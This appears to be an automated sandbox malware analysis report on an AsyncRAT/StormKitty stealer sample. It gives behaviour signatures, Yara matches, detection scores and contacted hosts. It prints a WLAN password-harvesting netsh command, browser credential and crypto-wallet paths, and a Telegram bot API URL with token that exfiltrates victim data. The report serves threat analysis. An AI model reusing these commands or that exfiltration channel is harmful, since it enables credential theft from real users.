Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\wwst.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\WindowsDataC.exe	Queries volume information: C:\ProgramData\WindowsDataC.exe VolumeInformation
Source: C:\ProgramData\WindowsDataC.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\ProgramData\WindowsDataC.exe	Queries volume information: C:\ProgramData\WindowsDataC.exe VolumeInformation
Source: C:\ProgramData\WindowsDataC.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Rnts.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Rnts.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Rnts.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId

Jump to behavior

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.WindowsDataC.exe.12fb33c0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.579900090.00000000126C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4C3000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580547770.0000000012ABA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 1604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 5964, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Source: wwst.exe, 00000003.00000003.406430581.00000000058DC000.00000004.00000020.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.399511098.00000000058B0000.00000004.00000020.00020000.00000000.sdmp, wwst.exe, 00000003.00000003.411889753.00000000058DB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Yara detected StormKitty Stealer

Source: Yara match	File source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: 3ZCSmfAvnf.exe, 00000000.00000002.580547770.0000000012AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile

Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4C8000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Yara detected StormKitty Stealer

Source: Yara match	File source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.576947702.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	131 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	11 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	2 Web Service	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Deobfuscate/Decode Files or Information	11 Input Capture	144 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	121 Obfuscated Files or Information	Security Account Manager	441 Security Software Discovery	SMB/Windows Admin Shares	11 Input Capture	Automated Exfiltration	11 Encrypted Channel	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	22 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	4 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	241 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Process Injection	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3ZCSmfAvnf.exe	71%	ReversingLabs	Win32.Backdoor.AsyncRAT
3ZCSmfAvnf.exe	79%	Virustotal		Browse
3ZCSmfAvnf.exe	100%	Avira	HEUR/AGEN.1235849
3ZCSmfAvnf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\WindowsDataC.exe	100%	Avira	HEUR/AGEN.1235849
C:\Users\user\AppData\Local\Temp\wwst.exe	100%	Avira	HEUR/AGEN.1203070
C:\ProgramData\WindowsDataC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Rnts.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RunIt.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\wwst.exe	100%	Joe Sandbox ML
C:\ProgramData\WindowsDataC.exe	71%	ReversingLabs	Win32.Backdoor.AsyncRAT
C:\Users\user\AppData\Local\Temp\Rnts.exe	73%	ReversingLabs	ByteCode-MSIL.Infostealer.BitStealer
C:\Users\user\AppData\Local\Temp\RunIt.exe	73%	ReversingLabs	ByteCode-MSIL.Infostealer.BitStealer
C:\Users\user\AppData\Local\Temp\wwst.exe	96%	ReversingLabs	ByteCode-MSIL.Backdoor.AsyncRAT

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.0.3ZCSmfAvnf.exe.720000.0.unpack	100%	Avira	HEUR/AGEN.1235849		Download File
3.0.wwst.exe.6d0000.0.unpack	100%	Avira	HEUR/AGEN.1203070		Download File

Domains

Source	Detection	Scanner	Label	Link
207.189.1.0.in-addr.arpa	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/0	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
http://www.founder.com.cn/cn/h	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/X	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/X	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/.TTC	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/B	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/w	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/w	0%	URL Reputation	safe
http://www.carterandcone.comx	0%	URL Reputation	safe
http://www.carterandcone.comx	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/h	0%	URL Reputation	safe
http://www.founder.com.cn/cnN	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cnX	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.founder.com.cn/cnH	0%	URL Reputation	safe
http://www.founder.com.cn/cnB	0%	URL Reputation	safe
http://www.carterandcone.comB	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
https://api.telegram.org4	0%	URL Reputation	safe
http://www.founder.com.cn/cnm	0%	URL Reputation	safe
http://www.carterandcone.comC	0%	URL Reputation	safe
http://www.typography.net	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.fontbureau.comF	0%	URL Reputation	safe
http://www.fontbureau.comH	0%	URL Reputation	safe
http://www.fontbureau.comX	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn/Fy	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htm(uB	0%	Avira URL Cloud	safe
https://api.mylnikov	0%	Avira URL Cloud	safe
https://api.mylnikov.org4	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jpB	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comrr	0%	Avira URL Cloud	safe
http://www.ascendercorp.com/typedesigners.html(uB	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cnB	0%	Avira URL Cloud	safe
http://www.carterandcone.com(	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/uB	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/Y0X	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	100%	Avira URL Cloud	malware
http://www.founder.com.cn/cn/B	0%	Avira URL Cloud	safe
http://www.fontbureau.comTFB	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cn.cnB	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/N	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.mylnikov.org	104.21.9.139	true	false		high
api.telegram.org	149.154.167.220	true	false		high
pastebin.com	104.20.68.143	true	false		high
icanhazip.com	104.18.115.97	true	false		high
207.189.1.0.in-addr.arpa	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:0c:29:82:cb:33	false	high
http://icanhazip.com/	false	high
https://pastebin.com/raw/8u2AsgRy	false	high
https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	false	high
https://api.telegram.org/bot5980420064:AAHGrlOU2WsgF90Pcyz-L7wrGgC_Cj54k4Q/sendMessage?chat_id=806259874&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202023-01-18%2011:37:17%20PM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20114127%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20G13ZBYR4%0ARAM:%204095MB%0AHWID:%2050EDCA1BAB%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%2084.17.52.5%0ABSSID:%2000:0c:29:82:cb:33%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%209%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2030%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2020%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	wwst.exe, 00000003.00000002.594803725.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, tmpCC23.tmp.dat.3.dr, tmpD06D.tmp.dat.3.dr	false		high
https://duckduckgo.com/ac/?q=	tmpD06D.tmp.dat.3.dr	false		high
http://www.founder.com.cn/cn/Fy	3ZCSmfAvnf.exe, 00000000.00000003.299810403.000000001B438000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	wwst.exe.0.dr	false		high
http://www.fontbureau.com/designers	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	3ZCSmfAvnf.exe, 00000000.00000002.589858662.000000001C6B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
